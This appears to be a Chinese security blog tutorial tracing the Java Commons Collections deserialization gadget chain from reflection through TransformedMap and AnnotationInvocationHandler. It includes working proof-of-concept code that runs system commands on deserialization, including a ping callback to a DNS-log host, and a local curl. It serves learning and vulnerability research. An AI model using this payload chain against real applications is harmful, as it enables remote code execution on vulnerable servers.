凡心所向,素履所往

Java从反射到反序列化

字数统计: 2.9k阅读时长: 13 min
2020/02/13 Share

java 从反射到反序列化的故事

#java 从反射到反序列化
[TOC]

反射机制

Java通过反射机制,可以在程序运行时加载,探知和使用编译期间完全未知的类,并且可以生成相关类对象实例,从而可以调用其方法或则改变某个属性值

从反射链的构造看java反序列化漏洞

反射执行系统命令:

【1】通过反射机制调用runtime.class的getMethod方法
【2】继续调用invoke方法生成了一个runtime的对象,
【3】最后执行该对象的exec方法,因此造成了命令执行

Transformer

Transformer类的调用
测试用例如下:

package test.reflect;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import com.mysql.jdbc.Driver;
import java.sql.*;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
//import org.apache.commons.collections4.collection.

public class App {
    public static void main( String[] args ) throws IOException
    {
        try {
            inner test2 = new inner();
            System.out.println(inner.class.getName());
            System.out.println(Class.forName("test.reflect.inner").getName());
            System.out.println(test2.getClass().getName());

            Transformer[] transformers = new Transformer[]{
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},new Object[]{"getRuntime", new Class[0]}),
                    new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},new Object[]{null, new Object[0]}),
                    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"ping th9bvw.ceye.io",}),
            };
            Transformer transformerChain = new ChainedTransformer(transformers);

            ByteArrayOutputStream out = new ByteArrayOutputStream();//建立缓冲区对象
            ObjectOutputStream objOut;

            try {
                objOut = new ObjectOutputStream(out);//将对象信息写入到文件中,此处为字节流到缓冲区中
                objOut.writeObject(transformerChain);//写入对象信息
                transformerChain.transform(null);//调用transform方法,触发

            } catch (IOException e) {
                // TODO Auto-generated catch block
                e.printStackTrace();
            }
        } catch (Exception e) {
            e.printStackTrace();
        }

    }
}
class inner2 {
    public int id;
    public Object obj;
}

其中关键调用代码:

transformerChain.transform(null)

其中 transform方法源码如下:

public Object transform(Object object) {
        for (int i = 0; i < iTransformers.length; i++) {
            object = iTransformers[i].transform(object);
        }
        return object;
    }

    public Object transform(Object input) {
        return iConstant; 
    }

在此处分别执行:
【获取对象】-【实例化对象】- 【调用对象执行命令】

先用ConstantTransformer()获取了Runtime类
接着反射调用getRuntime函数
再调用getRuntime的exec()函数,执行命令
依次调用关系为: Runtime –> getRuntime –> exec()
其中ChainedTransformer为链式的Transformer,会挨个执行定义的Transformer
-w939

  • ConstantTransformer
    在 i=0时 iTransformers[0]new ConstantTransformer(Runtime.class)对象,该函数获取runtime对象,转为常量返回。
    iConstant的返回值是一个class对象 java.lang.runtime
    返回参数,此处输入的参数是Runtime.class,则此处参数对象即为 class java.lang.runtime

  • InvokerTransformer
    通过反射创建实例对象,对该类传入
    Input参数:要进行反射的对象,
    iMethodName,iParamTypes:调用的方法名称以及该方法的参数类型
    iArgs: 为对应方法的参数
    可以通过反射机制调用任意函数。

    public class InvokerTransformer implements Transformer, Serializable {
    
      /** The serial version */
      private static final long serialVersionUID = -8653385846894047688L;
    
      /** The method name to call */
      private final String iMethodName;
      /** The array of reflection parameter types */
      private final Class[] iParamTypes;
      /** The array of reflection arguments */
      private final Object[] iArgs;
    
      /**
       * Gets an instance of this transformer calling a specific method with no arguments.
       * 
       * @param methodName  the method name to call
       * @return an invoker transformer
       * @since Commons Collections 3.1
       */
      public static Transformer getInstance(String methodName) {
          if (methodName == null) {
              throw new IllegalArgumentException("The method to invoke must not be null");
          }
          return new InvokerTransformer(methodName);
      }
    ...
    ...
    

    Transformer 调用示例

    
              Transformer[] transformers = new Transformer[]{
                      new ConstantTransformer(Runtime.class),
                      new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},new Object[]{"getRuntime", new Class[0]}),
                      new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},new Object[]{null, new Object[0]}),
                      new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"ping th9bvw.ceye.io",}),
              };
              Transformer transformerChain = new ChainedTransformer(transformers);
              //transformerChain.transform(null);
    //以下序列化测试
              ByteArrayOutputStream out = new ByteArrayOutputStream();
              ObjectOutputStream objOut;
              try {
                  objOut = new ObjectOutputStream(out);
                  objOut.writeObject(transformerChain);
                  transformerChain.transform(null);
              } catch (IOException e) {
                  // TODO Auto-generated catch block
                  e.printStackTrace();
              }
    

反序列化调用反射执行系统命令

反序列化执行系统命令的思路
【1】构造一个反射对象
【2】将反射对象传入可构造的序列化对象
【3】反序列化触发命令执行

TransformeMap示例

前面构造的反射对象是用来传输给存在readobject的可控目标函数使用,但在载入前是需要载体的,就像最近的冠状病毒,在使用transformer时,需要将transformer构造的反射对象传入到transformap中
测试代码如下:

package test.reflect;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

import org.apache.commons.collections.map.TransformedMap;


import java.io.IOException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class transformedmaptest {
    public static void main(String[] args) throws IOException {
        Map map = new HashMap();
        map.put("key", "th3wind");
        //调用目标对象的toString方法

        String command = "curl http://127.0.0.1:8881";
        final String[] execArgs = new String[]{command};
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{command,}),
        };
        Transformer transformer;
        transformer = new ChainedTransformer(transformers);
        //构造Transformer对象
        Map<String, Object> transformedMap = TransformedMap.decorate(map, null, transformer);
        //将可控的transformer传入TransformedMap
        for (Map.Entry<String, Object> entry : transformedMap.entrySet()) {
            System.out.println(entry);
            entry.setValue("th3wind");
        }
    }
}

上面这段代码分别有三个功能
【1】构造Transformer对象
【2】通过可控的Transformer对象构造TransformedMap
关键代码如下:

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }

调用transformedmap的静态decorate方法,将valueTransformer传入

protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        super(map);
        this.keyTransformer = keyTransformer;
        this.valueTransformer = valueTransformer;
    }

这里继承的父类是AbstractInputCheckedMapDecorator而其是继承的AbstractMapDecorator类,到此即构造完了 TransformedMap
-w1209
【3】反序列化触发命令执行
遍历TransformedMap并使用setvalue方法进行触发

entry.setValue("th3wind");

其中setvalue方法跟踪如下

public Object setValue(Object value) {
            value = parent.checkSetValue(value);
            return entry.setValue(value);
        }

在调用父类的checkSetValue方法,即AbstractInputCheckedMapDecorator,在该方法中会调用transformer

 protected Object checkSetValue(Object value) {
        return valueTransformer.transform(value);
    }

其中valueTransformer为前面构造的Transformer对象,通过transform进行反射对象触发。结果如下
-w904

根据搜索在transformedMap中除了checkSetValue触发transform方法还有transformKeytransformValue

JDK Gadgets

在有了对应的用于反序列化的对象,接下来就是找对应的JDK Gadgets,以便来寻找目标及生成payload,在transformedmap的调用中为sun.reflect.annotation.AnnotationInvocationHandler
根据反序列化会自动触发readobject函数,寻找的目标需要满足以下的条件:
【1】readobject或直接或间接调用以上提到的transformKeytransformValuecheckSetValue

审计策略

【1】找transformKeytransformValuecheckSetValue这几个方法被调用的位置
【2】全局搜索readobject方法

案例1

利用前提: jdk具体版本不是很清楚,但在jdk1.8u60及以前是没问题的

sun.reflect.annotation.AnnotationInvocationHandler
不知道大佬们是不是这样找到的,根据前面所说方法进行反推,可以这样

checkSetValue:169, TransformedMap (org.apache.commons.collections.map)
setValue:191, AbstractInputCheckedMapDecorator$MapEntry (org.apache.commons.collections.map)
readObject:450, AnnotationInvocationHandler (sun.reflect.annotation)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:57, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:606, Method (java.lang.reflect)
invokeReadObject:1017, ObjectStreamClass (java.io)
readSerialData:1893, ObjectInputStream (java.io)
readOrdinaryObject:1798, ObjectInputStream (java.io)
readObject0:1350, ObjectInputStream (java.io)
readObject:370, ObjectInputStream (java.io)
deserialize:62, Serializer1 (reflect2)
main:37, POC4 (reflect2)

先上代码,参照
以Commons-Collections为例谈Java反序列化POC的编写

package reflect2;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class POC4 {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers_exec = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"curl http://127.0.0.1:8881"})
        };

        Transformer chain = new ChainedTransformer(transformers_exec);

        HashMap innerMap = new HashMap();
        innerMap.put("value","th3wind");

        Map outerMap = TransformedMap.decorate(innerMap,null,chain);

        // 通过反射机制实例化AnnotationInvocationHandler
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);
        cons.setAccessible(true);
        Object ins = cons.newInstance(java.lang.annotation.Retention.class,outerMap);
        // 序列化
        Serializer1.serialize(ins);
        Serializer1.deserialize();

    }

}

class Serializer1{
    public static void serialize(Object obj) throws IOException {
        FileOutputStream fos = new FileOutputStream("java.bin");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(obj);
    }
    public static void deserialize() throws IOException, ClassNotFoundException {
        FileInputStream ios = new FileInputStream("java.bin");
        ObjectInputStream ois = new ObjectInputStream(ios);
        ois.readObject();
    } }

其中参数传递如下
-w1116
-sun.reflect.annotation.AnnotationInvocationHandler调用说明
在利用该工具类时,所用代码如下:


Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);
cons.setAccessible(true);
Object ins = cons.newInstance(java.lang.annotation.Retention.class,outerMap);

通过Class.forName进行反射调用,其中将java.lang.annotation.Retention.class以及前面构造的transforedMap作为参数进行类的实例化
到这时其中几个重要参数分别如下:

构造的  TransformedChain 
实例化的 AnnotationInvocationHandler
  • readObject分析
    在该类中重写了readObject方法,重写方法如下
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        var1.defaultReadObject();
        AnnotationType var2 = null;

        try {
            var2 = AnnotationType.getInstance(this.type);
        } catch (IllegalArgumentException var9) {
            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map var3 = var2.memberTypes();
        Iterator var4 = this.memberValues.entrySet().iterator();

        while(var4.hasNext()) {
            Entry var5 = (Entry)var4.next();
            String var6 = (String)var5.getKey();
            Class var7 = (Class)var3.get(var6);
            if (var7 != null) {
                Object var8 = var5.getValue();
                if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                    var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
                }
            }
        }

    }
}

在传入的对象中,通过retention(java注解)
-w630
跟到关键位置AbstractInputCheckedMapDecorator$MapEntry.setValue()
-w1030
setvalue函数调用路线如下
-w467

public Object setValue(Object value) {
            value = this.parent.checkSetValue(value);
            return super.entry.setValue(value);
        }
    }

跟到setvalue后,后续的触发方法即为前面TransformeMap示例调用流程

基础

反射实例化对象与new 一个对象的区别

a1:new属于静态编译
b1:反射属于动态编译,意思就说只有到运行时才会去获得该对象的实例,大多框架都是使用反射获取对象实例,如Spring
二、**
a2:静态编译类似于在编译的时候把你所有的模块都编译进exe里去,编译后就存在。
b2:动态编译则相反,编译的时候那些些模块都没有编译进去,类似于把那些模块都编译成dll,这样启动程序(初始化)的时候这些模块不会被加载,而是在运行的时候,用到哪个模块就会利用反射去取模块
三、**

a3:反射对象是直到程序运行期间才知道类的名字的实例,这时才获取对象的成员,并设置属性。此时要用到类的全限定名才能加载出该类的实例,并返回该类的对象。然后就可以遍历类中的各个方法,各个属性。
b3:new是给类直接在内存中创建一个实例,并且可以直接初始化等。不需要类的全路径。
————————————————
版权声明:本文为CSDN博主「三千炼心」的原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/weixin_44919928/article/details/89530625

super和this的区别

在java中this指向对象本身,super指向超类(离自己最近的一个父类)

class Country {
    String name;
    void value() {
       name = "China";
    }
}

class City extends Country {
    String name;
    void value() {
    name = "Shanghai";
    super.value();      //调用父类的方法
    System.out.println(name);
    System.out.println(super.name);
    }

    public static void main(String[] args) {
       City c=new City();
       c.value();
       }
}

显示结果

Shanghai
China

反射

反射新建一个对象 是先class.forName动态加载类,再使用newInstance进行实例化

class c = Class.forName(“Example”);
factory = (ExampleInterface)c.newInstance();

动态加载类的方法有三种

【1】通过对象的getClass()方法获取Class对象。

Date date = new Date();
Class classd = date.getClass();
Object object = classd.newInstance();

【2】通过类名.class 获取Class对象。

Class classd1 = Date.class;
Object object = classd.newInstance();

【3】通过Class.forname(“全限定类名”)。

Class classd2 = Class.forName("java.util.Date");
Object object = classd.newInstance();

-w1360

java 注解

来自于菜鸟的架构图,这个时候还比较迷糊,待补充详细。
-w766

参考

Java反序列化漏洞的原理分析
Java反序列化漏洞分析
JDK反序列化Gadgets 7u21
以Commons-Collections为例谈Java反序列化POC的编写

CATALOG
  1. 1. 反射机制
  2. 2. 从反射链的构造看java反序列化漏洞
    1. 2.1. 反射执行系统命令:
      1. 2.1.1. Transformer
      2. 2.1.2. Transformer 调用示例
    2. 2.2. 反序列化调用反射执行系统命令
      1. 2.2.1. TransformeMap示例
      2. 2.2.2. JDK Gadgets
        1. 2.2.2.1. 审计策略
        2. 2.2.2.2. 案例1
  • 基础
    1. 1. 反射实例化对象与new 一个对象的区别
    2. 2. super和this的区别
      1. 2.1. 反射
        1. 2.1.1. 动态加载类的方法有三种
    3. 3. java 注解
  • 参考